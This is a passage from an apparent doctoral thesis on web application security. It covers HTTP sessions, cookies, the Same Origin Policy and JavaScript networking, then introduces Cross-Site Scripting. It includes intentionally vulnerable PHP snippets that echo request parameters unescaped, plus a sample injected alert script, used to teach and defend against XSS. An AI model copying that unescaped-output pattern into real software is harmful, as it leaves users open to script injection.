bles computer language code for further usage. This code assembly is done using the
string datatype. Code which is created this way is subsequently passed to other parsers
during run-time to be immediately interpreted. String-based code injection occurs be-
cause programmers insecurely mix code-syntax with data-values during this process. In
such situations, the adversary is capable to trick the program into including data-values
which contain syntactic elements into the code assembly, hence, altering the semantics
of the resulting computer code.
To solve this problem, we propose a strong separation between data and code during
dynamic syntax assembly. For this purpose, in Chapter 10 we propose definitions of the
concepts data and code that are applicable to string-based code assembly. Then, we anal-
yse the structure of selected computer languages. This enables us to classify individual
language elements to represent either data- or code-elements. In Chapter 11 we utilize
these results to develop a transparent countermeasure, which introduces data/code-
separation during program execution.
Finally, in Chapter 12 we successively develop a novel, language-based method for
dynamic code assembly. The central concept of our approach is to exchange the com-
mon, inherently insecure code assembly practices with a secure methodology. More
precisely, we introduce a novel datatype, the Foreign Language Encapsulation Type
(FLET) which replaces the string type for code assembly. The FLET enforces a strict
separation between data- and code-elements, hence, rendering programming mistakes
which lead to data/code-confusion impossible. Furthermore, to ensure mandatory us-
age of the FLET semantics, we propose the removal of all direct interfaces to external
interpreters. Instead, we introduce an abstraction layer mechanism which provides a

18
 Contents

FLET-based interface for secure code-communication. To verify the usability of our ap-
proach, we show how to practically implement our concepts for a selected application
server.

Contributions of Part III:

• A thorough analysis of string-based code injection vulnerabilities (see Sec. 10.3)

• A systematical classification of language elements into the general classes data and
code (see Sec. 10.4).

• Design, implementation, and evaluation of a novel server-side technique to identify

code injection attacks by discovering data/code-confusion (see Chapter 11).

• Introduction of a novel, language-based methodology for secure code assembly,

including

– a formal model for a proposed type-system extension (see Sec. 12.2),

– and the design and practical evaluation of a specific implementation of our
proposed concepts (see Sec. 12.5 and 12.6).

We conclude the thesis in Part IV with an overview of related work, a summary of the
thesis’ results and a discussion of open problems.

Associated publications: Parts of, and ideas underlying this thesis have been previ-
ously published in the following forms:

• Martin Johns and Justus Winter. RequestRodeo: Client side Protection Against
Session Riding. In Frank Piessens, editor, Proceedings of the OWASP Europe
2006 Conference, refereed papers track, Report CW448, pages 5 – 17. Departement
Computerwetenschappen, Katholieke Universiteit Leuven, May 2006. [133]

• Martin Johns. SessionSafe: Implementing XSS Immune Session Handling. In

Dieter Gollmann, Jan Meier, and Andrei Sabelfeld, editors, European Symposium
on Research in Computer Security (ESORICS 2006), volume 4189 of LNCS, pages
444–460. Springer, September 2006. [123]

• Martin Johns. A First Approach to Counter ”JavaScript Malware”. In Proceedings

of the 23rd Chaos Communication Congress, Verlag Art d’Ameublement, Bielefeld,
ISBN 978-3-934-63605-7, pages 160 – 167, December 2006. [122]

• Martin Johns and Christian Beyerlein. SMask: Preventing Injection Attacks in

Web Applications by Approximating Automatic Data/Code Separation. In 22nd
ACM Symposium on Applied Computing (SAC 2007), Security Track, pages 284 -
291, ACM, March 2007. [129]

19
Contents

• Martin Johns. Towards Practical Prevention of Code Injection Vulnerabilities

on the Programming Language Level. Technical Report 279-07, University of
Hamburg, May 2007. [127]

• Martin Johns and Justus Winter. Protecting the Intranet Against ”JavaScript
Malware” and Related Attacks. In Bernhard Hämmerli and Robin Sommer, ed-
itors, Detection of Intrusions and Malware & Vulnerability Assessment (DIMVA
2007), volume 4579 of LNCS, pages 40 – 59, Springer, July 2007. [134]

• Martin Johns. On JavaScript Malware and Related Threats - Web Page Based
Attacks Revisited. Journal in Computer Virology, Springer Paris, 4(3):161–178,
December 2007. [128]

• Martin Johns and Daniel Schreckling. Automatisierter Code-Audit. Datenschutz

und Datensicherheit - DuD, 31(12):888–893, December 2007. [132]

• Martin Johns, Bjoern Engelmann, and Joachim Posegga. XSSDS: Server-side De-
tection of Cross-Site Scripting Attacks. In Annual Computer Security Applications
Conference (ACSAC’08), pages 335 – 344. IEEE Computer Society, December
2008. [130]

20
 Part I.

Cross-Site Scripting Attacks

21
1. Technical Background
The World Wide Web is the only thing I know of whose shortened form
takes three times longer to say than what it’s short for.
Douglas Adams, 1999

This chapter explores selected technical topics in the field of web applications. As the
general technical background concerning web applications is very extensive, we specifi-
cally focus on aspects that have a direct relationship with the content of this thesis.

1.1. The web application paradigm

The term “web application” has never been formally defined. It was informally intro-
duced to group applications which fulfill certain criteria, most prominently the usage of
an HTML-based graphical user interface. Consequently, for the time being no compre-
hensible model or specification of the web application paradigm exists. This is mainly
due to the constantly evolving and highly heterogeneous nature of this application type.
In this section, we sum up the key characteristics of applications which are classified to
be web applications in the context of this thesis:

Definition 1.1 (Web Application, informal definition) A web application is an ap-

plication which is distributed over at least two components

• The web server which implements the application’s logic

• and the web browser that provides the application’s user interface. This interface
is composed with HTML [117], CSS [266], and JavaScript [57]1 .

These two components communicate over the network via the HTTP protocol [74]. Fur-
ther, optional components of the application may be located

• in between, such as proxies, which relay the HTTP communication [74],

• or on the server-side, providing services to the web server, e.g., database systems.

A web application is completely defined by the specifics of how a given HTTP request
is used to compute the corresponding HTTP response. Therefore, as a potential first
formal approximation, a web application P could be regarded as a function which maps
1
Additional browser-based technologies, such as Flash [3] or Java Applets [251], are omitted for brevity.

23
1. Technical Background

an HTTP request Req to an HTTP responses Res, as suggested by the formal definition
approaches in [248] and [269]:
P : f (Req) → Res
However, the relationship between the incoming HTTP request and outgoing HTTP
response is not purely functional. Both, the web server as well as the web browser are
state-full entities and their specific states influence the result of a given computation and
the behaviour of the application: The browser state directly affects the outgoing HTTP
request, e.g., by setting HTTP headers. In addition, might also passively influence
the server-side processing, e.g., due to specific treatment based on the request’s source
IP address. Furthermore, the browser state can affect active client-side code, such as
JavaScripts, and thus, directly influence the application’s behaviour.
The server state consists of the data stored in the application’s persistent data store
(e.g., a database) and the values kept in the current usage session (see Sec. 1.2). The
server state determines the specifics of the HTTP response’s composition process. In
turn, the computation of incoming requests might alter the server state and the inter-
pretation of the response might change the browser state (e.g., by setting additional
cookies).

1.1.1. The web browser

In this section we define selected aspects of web browser technologies which are relevant
to the content of this thesis.

Hyper Text Markup Language (HTML): HTML [117] is a SGML-based markup lan-
guage which provides means for structuring and displaying hypertext, such as
links, tables, paragraphs, or lists. Furthermore, HTML is capable to supplement
the hypertext with interactive forms, embedded images, and other objects.

JavaScript: JavaScript [57] is a programming language most often used for client-side
web development. See Section 1.3 for further details.

Cascading Style Sheets (CSS): The Cascading Style Sheet (CSS) [266] standard was
introduced to allow the separation of the presentation of an HTML hypertext and
its structure. With CSS a web designer can specify display-classes which can be
assigned to individual HTML-elements. Such display-classes determine how these
elements are presented by the browser (e.g., by specifying font-size, position, or
margins).

HTTP Cookies: Cookies [158] provides persistent data storage on the client’s web browser.
A cookie is a data set consisting at least of the cookie’s name, value and its domain
property. It is sent by the web server as part of an HTTP response message using
the Set-Cookie header field.
The cookie’s domain property is implicitly controlled by the URL of its HTTP
response: The property’s value must be a valid domain suffix of the response’s full
domain and contain at least the top level domain and second-level domain.

24
 1.1. The web application paradigm

Figure 1.1.: HTTP URL structure [19]

After receiving a cookie the web browser stores this information at a dedicated
location in the client’s file system. Whenever the web browser accesses a URL
that matches the cookie’s domain (the domain value of the cookie is a valid domain
suffix of the URL), the cookie is automatically included in the HTTP request using
the Cookie-header.
For example, a cookie stored with the domain example.org would be included in
every HTTP request to resources that reside on www.example.org or subdomain.
example.org.

1.1.2. Uniform Resource Locators

This section briefly introduces Uniform Resource Locators (URLs). The term ”Uniform
Resource Locator” (URL) refers to the subset of Uniform Resource Identifiers (URIs) [17]
that, in addition to identifying a resource, provide a means of locating the resource by
describing its primary access mechanism. In the context of this thesis, we focus on the
specific subtype of HTTP URLs which were initially defined in RFC 1738 [19].
HTTP URLs [19] are a central concept within the web application paradigm. All
resources which are used within a web application are referenced by such URLs. Such
elements are for instance HTML documents, images, style-sheets, JavaScript files, or
applet code.
An HTTP URL consists of several distinct elements (see Figure 1.1) which specify
where the resource can be found (through the host, port, and path properties), how
the client should request and process the URL (through the protocol property), along
with additional values that govern a dynamic server-side processing of the request (the
parameters). Furthermore, identification information (username and password) can be
included in the URL.

URL schemes
In current web browser implementations, the URL’s protocol property is not limited
to http and https. Instead a broad range of protocol identifier (the so-called URL
schemes) are understood. With such schemes both remote and local resources can be
addressed.
URL schemes can target, for instance remote network entities, which are reachable
by network protocols such as ftp, the local file-system using the file-scheme, browser
specific resources via schemes such as chrome, or other local applications.
In this context Zalewski differentiates in [283] between true schemes, custom schemes
and pseudo schemes:

25
1. Technical Background

• True schemes are natively supported and handled by the browser. Furthermore,
the browser’s rendering engine respects and processes such URLs when they are
encountered in the context of inline-HTML tags, such as img, or script.
Zalewski list the following schemes under this category: http (RFC 2616 [74]),
https (RFC 2818 [217]), shttp (RFC 2660 [218]), ftp (RFC 1738 [19]), file
(RFC 1738 [19]), gopher (RFC 4266 [107]), and news (Draft RFC [59]).

• Custom schemes are not standardized schemes which are used to initiate data-
transfer to locally installed applications. Such schemes are not handled by the
browser. Instead, local applications which expect to receive data via URLs, register
their set of understood URL schemes at the operating system. Whenever the web
browser encounters an unknown URL scheme, it queries the operating system to
obtain the application which registered the scheme. If such a program exists, it
will be launched as needed.
For example, the activation of mailto-URLs causes the opening of the composing
dialogue in the default mail client.
This set of protocols is not honored within the renderer when referencing document
elements such as images, script or applet sources, and so forth; they do work,
however, as iframe and link targets.

• Pseudo schemes do neither target external resources nor applications. Instead

they are used to reference procedures or resources within the browser applica-
tion itself. Modern browsers employ such pseudo-schemes to implement various
advanced features, such as encapsulating encoded documents within URLs, pro-
viding scripting features, or giving access to internal browser information and data
views.
Examples are the javascript-scheme which allows the execution of script code on
URL-activation, the about-scheme which is used to query information about the
browser’s configuration, or the data-scheme which enables the developer to inline
binary information, such as image-data.

1.2. Web application session management and authentication

tracking
HTTP is a state-less protocol [74]. Every HTTP request-response-pair exists as a single,
independent entity. However, often a web application has to assign individual HTTP
requests to a continuous usage session, e.g., to preserve application state over the course
of several requests. In such cases, the application is forced to manually implement custom
session handling. For this purpose session identifiers are utilized:

Definition 1.2 (Session Identifier (SID)) With the term Session Identifier (SID)
we denote all identifier tokens which are

26
 1.2. Web application session management and authentication tracking

• used by web applications to link at least two HTTP request-response-pairs together,

• and are unique in respect to the set of tracked sessions of a given application
Thus, a SID is a semi-random token which is included in every HTTP request that
belongs to the same usage session (i.e., to the same user). The actual inclusion of the
token in the requests has to be manually enforced by the application. All incoming
HTTP requests which share the same SID are recognised by the application to belong to
the same session and the respective HTTP responses are generated using the according
application state.
Potential locations for the SID value within a HTTP request are either in the URL,
the HTTP body (as POST parameters), or the HTTP header (i.e., the Cookie header):
• URL query strings: The SID is included in every URL attribute that points
to a resource of the web application. This method neither requires JavaScript nor
support for cookies and, therefore, works with any web browser.
Example: <a href="some page?SID=g2k42a">...</a>
Usage of this method has a serious security problem: Most web browsers send
referrer information with every HTTP request. This information includes the full
URL of the page which contained the referring element (such as hyperlink or image
tag). As described, the session identifier is part of the URL and is also send with
the referrer information. Thus, every cross-domain request causes the SID to be
communicated to a untrusted third party.
Furthermore, the SID may also be leaked through proxy-logs or manually post-
ing the URL in external communications (such as web forums, emails, or instant
messages). For this reason, the inclusion of the session ID in the URL is strongly
discouraged.
• POST parameters: Instead of using hyperlinks for the navigation through the
application the process of submitting HTML forms can be utilized. In this case,
the SID is stored in a hidden form field. Whenever a navigation is initiated, the
according HTML form is submitted, thus, sending the SID as part of the request’s
body. This way involuntary transmission of SIDs via referrers is prevented.
This technique has serious drawbacks: Implementing session-tracking using POST
parameters is cumbersome as standard hyperlinks cannot be used for site-navigation
anymore. Furthermore, the web browser’s “reload” and “back” buttons do not
function properly with the outlined technique, due to the fact that browsers usu-
ally assume that submitting a form causes state-changing actions on the web ap-
plication and, thus, the former application state is now invalid.
• Cookies: Utilizing HTTP cookies (see Sec. 1.1.1) for SID storage is broadly used in
today’s web applications because of the shortcomings of the alternative techniques
discussed above. Cookies are used for session management as follows: The SID is
sent to the client as a cookie value. From here on, every request of the client to the
web application includes the SID automatically, signaling the associated session.

27
1. Technical Background

Web application authentication tracking

If a given web application implements authentication handling, it has to track a user’s
authenticated state over the course of several HTTP requests. There are three distinct
mechanisms to track the authenticated state: Session-data, HTTP authentication, and
TLS/SSL.
• Session-Data: As discussed in Section 1.2 the state-less nature of the HTTP
protocol forces web applications to implement custom, application-level session
tracking.
In most cases, the authenticated state of a given user is tracked with the same
mechanism as the user’s session-data. Thus, in such situations the authentica-
tion information is attached to the user’s session data. Consequently, the user’s
authentication credential is his SID.
• HTTP authentication: HTTP authentication [76] enables the web server to
request authentication credentials from the browser in order to restrict access to
certain webpages. Three methods are frequently used: Basic, digest and NTLM (a
proprietary extension by Microsoft [80]). In all these cases the initial authentication
process undergoes the same basic steps (for brevity reasons only a simplified version
of the process is given):
1. The browser sends an HTTP request for a URL for which authentication is
required.
2. The web server answers with the status code “401 Unauthorized” causing the
web browser to demand the credentials from the user, e.g., by prompting for
username and password.
3. The user enters the demanded information. Then, the web browser repeats
the HTTP request for the restricted resource. This request’s header contains
the user’s credentials in encoded form via the Authorization field.
4. The server validates whether the user is authorized. Depending on the out-
come, the server either answers with the requested page or again with a 401
status code.
The browser remembers the credentials for a certain time. If the client requests
further restricted resources that lie in the same authentication realm, the browser
includes the credentials automatically in the request.
• TLS/SSL: The Transport Layer Security (TLS) [53] and its predecessor the Secure
Sockets Layer (SSL) protocols enable cryptographically authenticated communi-
cation between the web browser and the web server. To authenticate the commu-
nication partners X.509 certificates and a digital signature scheme are used. For
user-based authentication and authorization management, a web application can
require that the user possesses a valid client-side certificate and the respective pri-
vate key. The usage of TLS/SSL for HTTP communication via the https protocol
handler is specified in [217].

28
 !"##$%&'()&)*"("&+',$+-'.%%/$"#

After the authentication form the server sets a cookie at the

!
client’s browser
! As long as this cookie is valid, the client’s requests are
1.2. Web application session management and authentication tracking
treated as authorized

! Martin Johns, UH, FB Inf, SVS, 20.03.2006

Figure 1.2.: Implicit authentication tracking with cookies 2

Both HTTP authentication and TLS/SSL are implemented and enforced by the web
server (opposed to the actual web application). This complicates the implementation of
an application-level user- and authorization-management, as the web server and the web
application are often separate, loosely coupled entities. Doing so, would require a web
application to implement web server specific configuration management which is unde-
sirable for a series of reasons2 . Consequently, the first option – coupling authentication
handling with the application’s session management – is the preferred technique.
In respect to security issues discussed in Section 5.1 it is important to differentiate
between two distinct types of authentication tracking: browser-level and application-level
authentication tracking3 :

1.2.1. Browser-level authentication tracking

Definition 1.3 (Browser-level authentication tracking) With the term browser-
level authentication tracking we denote authentication tracking techniques which cause
the web browser to automatically include authentication information in HTTP requests.

In the case of browser-level authentication tracking the application is only responsible to

perform the initial authentication step, e.g., querying the username and password. After
this initial process has terminated successfully and the user has been authenticated, the
all further communication of the user’s authenticated state is performed automatically
by the web browser.
There are three widely supported methods of browser-level authentication tracking:

• Session-tracking with Cookies: In this case, the authentication information is

directly attached to the respective session. Therefore, the SID de facto becomes the
authentication credential. As detailed above, the web browser adds this credential
via the Cookie-header automatically to all HTTP requests which target URLs that
match the SID-cookie’s domain property (see Figure 1.2).
2
E.g., a web application should be independent of the underlying web server technology. Furthermore,
for security reasons a web application should not possess privileges to alter the server’s configuration.
3
In an earlier publication [133] we denoted these two classes of authentication tracking as implicit and
explicit authentication.

29
1. Technical Background

• HTTP authentication: After the first manual authentication step, the browser
remembers the user’s authentication credentials (i.e., username and password). All
following HTTP requests to URLs which target the same resource are outfitted
with a suiting Authorization-header automatically.

• Client side TLS/SSL authentication: After a TLS/SSL channel has been

established successfully, all communication between the browser and the server are
routed through this channel automatically. Thus, all requests received through
this channel are authenticated implicitly.

As motivated above, all these methods have in common, that after a successful ini-
tial authentication, the web browser either includes the authentication tokens (the SID
cookie, or the http authentication credentials) automatically or uses the authenticated
TLS/SSL channel in further requests without user interaction.
The specifics how individual web browsers implement these authentication tracking
mechanisms can differ slightly. [68] documents how the browsers Firefox 2.0 and Mi-
crosoft Internet Explorer 7.0 implement the processes.

IP address based authentication: A special case of browser-based authentication track-

ing is often found in intranets. Instead of actively requesting user authentication, the
web application passively uses the request’s source IP address as authentication token,
only allowing certain IP (or MAC) addresses. Some intranet servers do not employ any
authentication at all because they are positioned behind the company’s firewall. In this
case, every web browser that is behind that firewall is authorized automatically (see
Chapter 6 for a thorough discussion of issues that arise in respect to this method of
authentication).

1.2.2. Application-level authentication tracking

According to Definition 1.3 we define application-level authentication:

Definition 1.4 (Application-level authentication tracking) With the term application-

level authentication tracking we denote all authentication tracking mechanisms that re-
quire the web application to explicitly implement the communication of the authentication
credentials for each HTTP request-response-pair.

In real-world web applications two types of application-level authentication mecha-

nisms can be found:

• Session-tracking with URL-parameters: As previously discussed, for this

technique to work, the SID has to be included in every URL which is part of the
outgoing HTML code. This has to be done while the HTML text is composed on
the web server.

30
 1.3. JavaScript

• Session-tracking with hidden form fields: Analogous to the URL-parameter

technique, in this case, the SID has to be explicitly added as a hidden field to the
application’s HTML forms. This is also done on the server during dynamic HTML
composition.

Opposed to browser-based authentication tracking methods, these techniques do not rely

on functionality provided by the web browser.

1.3. JavaScript
Before describing security relevant topics in connection with JavaScript, we give a brief
overview of the language: JavaScript was developed by Brendan Eich of Netscape Com-
munications Corporation and was first introduced and deployed in the Netscape browser
version 2.0B3 in 1995. Since then it has become the de facto standard scripting language
for web browsers and it is widely supported. JavaScript 1.5 has been standardized by
ECMA as “ECMAScript” [57] in 1999. Even though the name JavaScript and the lan-
guage’s syntax hint a resemblance to Sun’s Java programming language, JavaScript is a
programming language with its very own characteristics. JavaScript contains semantics
of object oriented programming as well as aspects that are usually found in functional
languages. In this thesis, we describe JavaScript from an object orientated point of view.
JavaScript is not limited to webpages. It is also used, e.g., for server side program-
ming on application servers [213], the user interface of the Mozilla applications [24, 69],
scripting in files using the Adobe PDF [2] format, or programming the Widgets of the
Mac Os X Dashboard [10].
If embedded in web pages, JavaScript provides rich capabilities to read and write
the hosting web page’s elements. These capabilities to manipulate the appearance and
semantics of a webpage are provided through the global object document which is a
reference to the root element of the page’s DOM tree [102]. A script can create, delete
or alter most of the tree’s elements.

1.3.1. The Same Origin Policy (SOP)

The Same Origin Policy (SOP) is the fundamental security policy which applies to active
client-side content that is embedded in web pages. For security reasons, the execution
of such active content is subject to major restrictions. In this section, we describe
these restrictions in respect to JavaScript, but very similar policies apply to other active
client-side technologies such as Flash or Java applets (see [283] for details).
The SOP was introduced by Netscape Navigator 2.0 [75]. It enforces a simple, yet
effective policy: A given JavaScript is only allowed access to properties of elements,
windows, or documents that share the same origin with the script. In this context, the
origin of an element is defined by the protocol, the domain and the port that were used
to access this element. See Table 1.1 for examples.
The SOP restricts a JavaScript that was received over the internet to run in a sandbox
which is defined by the corresponding web server’s properties. More precisely such a

31
1. Technical Background

URL Outcome Reason

http://store.foo.com/dir2/other.html Success
http://store.foo.com/dir/inner/another.html Success
https://store.foo.com/secure.html Failure Different protocol
http://store.foo.com:81/dir/etc.html Failure Different port
http://news.foo.com/dir/other.html Failure Different host

Table 1.1.: The SOP in respect to the URL http://store.foo.com/dir/page.html [225]

script is subject to the following restrictions:

1. No direct access to the local file system. Within JavaScript/HTML local files can
only be referenced through the file:// meta-protocol. An attempt by a script
delivered through HTTP to directly access the target of such a reference would be
a violation of the “protocol”-rule of the SOP.

2. No direct access to other hosts but the one that served the web page in which the
script was included, due to the “domain”-rule of the SOP.

3. No direct access to other applications on the same host that are not hosted by the
same web server, due to the “port”-rule of the SOP.

The SOP’s access restrictions apply to accessing remote resources (see Sec. 1.3.2) as
well as to accessing elements which are displayed by the browser. In the latter case, the
SOP applies on a document-level. This means, all elements that are displayed by the
browser inherit the origin of their enclosing document.
Thus, if a JavaScript and a document share a common origin, the SOP allows the
script to access all elements that are embedded in this document. Such elements could
be, e.g., images, stylesheets, or other scripts. These granted access rights hold even if
the elements themselves where obtained from a different origin.

Example: The script http://exa.org/s.js is included in the document http://exa.

org/a.html. It holds a reference to the document http://exa.org/i.html which is
concurrently displayed in the same browser. Furthermore, i.html contains various im-
ages from http://picspicspics.com. As the script’s and i.html’s origin match, the
script has access to the properties of the images, even though their origin differs from
the script’s.
While port and protocol are fixed characteristics in the SOP, JavaScript can influence
the host-property to soften the policy. This is possible because a webpage’s host value
is reflected in its DOM (Document Object Model [102]) tree as the domain attribute
of the document object. JavaScript is allowed to set this property to a valid domain
suffix of the original host. For example, a JavaScript could change document.domain
from www.example.org to the suffix example.org. JavaScript is not allowed to change
it into containing only the top level domain (i.e. .org) or some arbitrary domain value.

32
 1.3. JavaScript

Furthermore, in order to use this capability to access a second document (e.g., which
is displayed in an Iframe or in a different browser window), it is required that both
documents actively assign a value to their document.domain property [191].

Security zones
To selectively soften the SOP, web browser respect so-called “security zones” [186]. Such
zones classify resource-location (signified through URLs) according to their correspond-
ing trust-level. For instance, resources that are hosted on the browser’s computer are
more trusted than resources hosted on the intranet which, in turn, are considered to be
more trustworthy than general intranet resources.
For example, most browsers grant additional privileges that exceed the SOP’s restric-
tions to JavaScript which was retrieved from the local computer via file://-URLS. The
specifics how these security zones are implemented differ between the existing browser
implementations.

1.3.2. JavaScript networking capabilities

JavaScript is limited to HTTP communication only. The JavaScript-interpreter possesses
neither the means to create low-level TCP/UDP sockets nor other capabilities to initiate
communication using other protocols. More precisely, there are two distinct ways for a
JavaScript to create network connections: Direct and indirect communication:

Direct communication
With the term direct communication we denote the capabilities of a JavaScript to initiate
a direct read/write HTTP connection to a remote host. For this purpose, modern
JavaScript implementation provide the XMLHTTPRequest-API which was originally
developed by Microsoft as part of Outlook Web Access 2000 and is currently being
standardized by the W3C [258].
XMLHTTPRequest allows the creation of synchronous and asynchronous HTTP GET
and POST requests. The XML part of the name is misleading. The API supports
requests for arbitrary, character-based data. The target URL of the request is subject to
the SOP, i.e., only URLs that satisfy the SOP in respect to the web page that contains the
initiating script are permitted. This effectively limits a script to direct communication
with the web application’s origin host.
Alternatively, direct communication can be accomplished by combining iframes with
dynamically submitted HTML forms [163]: The JavaScript creates an HTML form in-
side an iframe and submits it, thus creating a GET or POST HTTP request. The
server includes the requested data inside the HTTP request’s response which replaces
the iframe’s content. As long as the SOP is satisfied in respect to the containing web
page and the iframe’s URL, the JavaScript can access the iframe’s DOM tree to retrieve
the response’s data. Again, for a read/write communication the URL of the target host
is restricted by the SOP.

33
1. Technical Background

Indirect communication
Furthermore, a JavaScript is able to initiate network communication indirectly via DOM
tree manipulation. Some HTML elements employ URLs to reference remote data which
is meant to be included in the web page, such as images, or scripts. If a web browser en-
counters such an element during the rendering process, it initiates a network connection
in order to retrieve the referenced data. In this case, the URL of the remote entity is not
restricted and can, therefore, point to cross-domain or cross-protocol targets. JavaScript
is able to add elements to the DOM tree [102] of its containing page dynamically. By
including elements that reference remote data, the JavaScript indirectly creates a net-
work connection to the host that serves this data. Outgoing data can be included in the
request by adding GET parameters to the elements URL.
In most cases indirect communication can only be used to send but not to receive
data. An exception to this rule, besides the side-effect based channels that will be
discussed in Sections 3.3, can be created with the script-elements. By providing a
remote-script with a local callback-function, the remote script can communicate data
back to the calling script (see [185] for details). For instance, so called “web APIs” that
export certain functionality of a web application and “web mashups” [1], that employ
such APIs to include cross-domain content dynamically into web pages, are often created
this way.

1.3.3. Encapsulation and information hiding

A little known fact is, that JavaScript supports information hiding via encapsulation.
The reason for this obscurity is, that JavaScript does not provide access specifiers like
“private” to implement encapsulation. Encapsulation in JavaScript is implemented via
the scope of a variable and closures. Depending on the context in which a variable or a
method is created, its visibility and its access rights are defined [57].
From an object oriented point of view this translates to three access levels: public,
privileged, and private [49].
Public members of objects are accessible from the outside. They are either defined by
prototype functions [57] or created as anonymous functions and added to the object after
object creation. Either way: They are created within the global scope of the object’s
surroundings. Public methods cannot access private members.
Private members are only accessible by private or privileged methods in the same
object. They are defined on object creation and only exist in the local scope of the
object. Private methods cannot be redefined from the outside after object creation.
Privileged methods are accessible from the outside. They can read and write private
variables and call private methods. Privileged methods have to be defined on object
creation and exist in the local scope of the object. The keyword this is used to export
the methods to the global scope, so that they can be accessed from outside the object.
If a privileged method is redefined from the outside after object creation, it will become
part of the global scope and its state will change therefore to public.

34
2. Cross-Site Scripting (XSS)
In the context of web applications, the term Cross-Site Scripting (XSS) denotes a class of
attacks in which the adversary is able to inject HTML or Script-code into the application
[255, 151, 60, 90, 95]. The first public advisory on XSS was published in 2000 [33]. In
this chapter we discuss all relevant aspects of this attack class and document which
circumstances can lead to XSS vulnerabilities.

Motivation: Before we explore the full set of potential causes, we start with an wide-
spread example of a vulnerable case [72]. Take an internet search-engine that utilizes an
HTML form to obtain the targeted search-term:
1 < form action =" search . php " method =" GET " >
2 Please enter your query :
3 < input name =" q " type =" text " size ="30" >
4 < input type =" submit " >
5 </ form >

Listing 2.1: HTML form of an internet search-engine

After entering his query and submitting the form, the user’s browser creates an HTTP
request to the web application in which the actual search-term is included as the GET
parameter ”q”. The application receives this request, executes the search process, and
composes the response’s HTML content:
1 [... I ni tia li sa tio n ...]
2 $searchterm = $_GET [ ’q ’];
3 [... search process ...]
4 echo " You have searched for <b >";
5 echo $searchterm ;
6 echo " </ b >.";
7 [... List of results ...]

Listing 2.2: Source code of search.php (excerpt)

The server-side script search.php obtains the search-term from the HTTP request
using PHP’s automatically created global array $ GET[] and temporary stores it in
the variable $searchterm. This variable is utilized within the assembly of the web
page which lists the search’s outcome. Consequently, a search for the term “Cross-Site
Scripting” would result in a web page which contains the following HTML:
1 [...]
2 You have searched for <b > Cross - Site Scripting </ b >.
3 [...]

Listing 2.3: Resulting HTML

The GET parameter q is unaltered echoed in the resulting HTML page. Therefore,
if the user enters a search term which contains HTML markup, this markup is also
included in the resulting web page. For example, the search-term ”<h1>hallo</h1>” is
submitted:

35
2. Cross-Site Scripting (XSS)

1 [...]
2 You have searched for <b > < h1 > hallo </ h1 >ß </ b >.
3 [...]

Listing 2.4: Injected HTML markup

Therefore, by submitting a script-tag pair, JavaScript can be injected into the web
application:
1 [...]
2 You have searched for <b > < script > alert ( ’ xss ! ’); </ script > </ b >.
3 [...]

Listing 2.5: Injected JavaScript

Within the general class of XSS vulnerabilities one can differentiate between the two
sub-classes HTML Injection and Script Injection:

Definition 2.1 (HTML Injection) The term HTML Injection Vulnerability denotes
XSS issues in which an attacker is able to inject HTML code into one or more of a
web application’s pages. However, he is not able to insert active scripting content, like
JavaScript into the page.

Using HTML injection the adversary is able to alter the content of a specific web page.
This action is occasionally also known under the term web graffiti [229].

Definition 2.2 (Script Injection) The class of Script Injection vulnerabilities denotes
all XSS issues which allows the attacker to inject active scripting code, like JavaScript,
into one or more of the application’s web page.

A situation in which script injection is prevented but HTML injection attack is possible
may occur in the case of incomplete input-filtering (see Sec. 2.4). In such cases the
application succeeds in prohibiting the injection of script code, but still unintentionally
allows certain HTML tags. In the related literature the two names of the two sub-
classes are often used interchangeably. As the countermeasures that we discuss in Part II
specifically deal with script injection attacks, a precise distinction is of significance.

Note: For the remainder of this document, whenever we use the term Cross-Site Script-
ing (or XSS) we implicitly assume that the adversary is capable of script injection, as this
inherently enables him to also execute HTML injection. Furthermore, we will concen-
trate on the malicious inclusion of JavaScript (see Sec. 1.3). While other browser-based
scripting languages, such as VBScript, exist, concentrating on JavaScript does not affect
the generality of the respective content in this thesis: Both, the methods to include the
scripting code in the web page, and the capabilities of the included scripts, do not differ
significantly between the available scripting-technologies. Therefore, all obtained results
for JavaScript also apply to similar browser-based scripting techniques. An exception to
this rule are active technologies that rely on interpreters that are added to the browser
in the form of plug-ins, such as Java [250], Flash [3], or Silverlight [187]. Whenever
necessary, we discuss these technologies separately.

36
 2.1. Types of XSS

Cross-Zone Scripting
A specific sub-type within the class of XSS vulnerabilities is called Cross-Zone Scripting.
A Cross-Zone Scripting vulnerability occurs when two circumstances exist in combina-
tion:

1. A resource which is hosted within a location that is considered to be part of a

trustworthy security zone (e.g., the local filesystem, see Section 1.3.1) exposes a
XSS issue

2. and this issue is exploitable by a resource which is hosted within a less trustworthy
security zone (e.g., the internet).

As JavaScript which is loaded from trusted security zones is not restricted by the SOP,
the exploitation of Cross-Zone Scripting outfits the attacker with powerful capabilities.

2.1. Types of XSS

One can differentiate between several different types of XSS issues. Depending on the
actual type of a given vulnerability, the applicable methods for detection, avoidance,
and exploitation of the issue differ.

2.1.1. XSS caused by insecure programming

The most common cases of XSS are caused by insecure programming. Such issues
occur because of unsafe handling of user-provided data. As the problems are rooted in
programming mistakes, every issue affects only one specific web application.

1. Reflected XSS: The term reflected XSS denotes all non-persistent XSS issues,
which occur when the web application echos parts of the HTTP request in the
respective HTTP response’s HTML (see Figure 2.1 and Listing 2.6). In order to
successfully exploit a reflected XSS vulnerability, the adversary has to trick the
victim into sending a fabricated HTTP request. This can be done by, for instance,
sending the victim a malicious link, or including a hidden iframe into an attacker
controlled page.
1 $name = $_GET [ ’ name ’];
2 echo " Hallo " + $name + "!";

Listing 2.6: Reflected XSS through direct data-inclusion

2. Stored XSS The term stored XSS refers to all XSS vulnerabilities, where the
adversary is able to persisently inject the malicious script in the vulnerable ap-
plication’s storage (see Figure 2.2). This way the malicious script remains in the
application even when the usage session which initially caused the exploitation has
ended. Hence, every user that accesses the poisoned web page receives the injected
script without further actions by the adversary. Therefore, unlike reflected XSS,

37
 Concept String Matcher

reflected XSS

2. Cross-Site Scripting (XSS)

Figure 2.1.: Reflected XSS

